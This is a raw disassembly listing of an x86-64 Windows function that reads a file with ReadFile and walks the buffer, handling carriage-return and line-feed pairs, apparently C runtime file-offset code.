lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x68750]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140025823
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140025823
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400270f0
test rax, rax
js 0x140025823
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140025823
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140025815
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140025815
cmp byte [rcx], 0xd
jne 0x1400257fb
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002580a
cmp byte [rcx + 1], 0xa
jne 0x14002580a
inc rcx
jmp 0x14002580a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x664c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400257dd
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140025827
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000dea0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret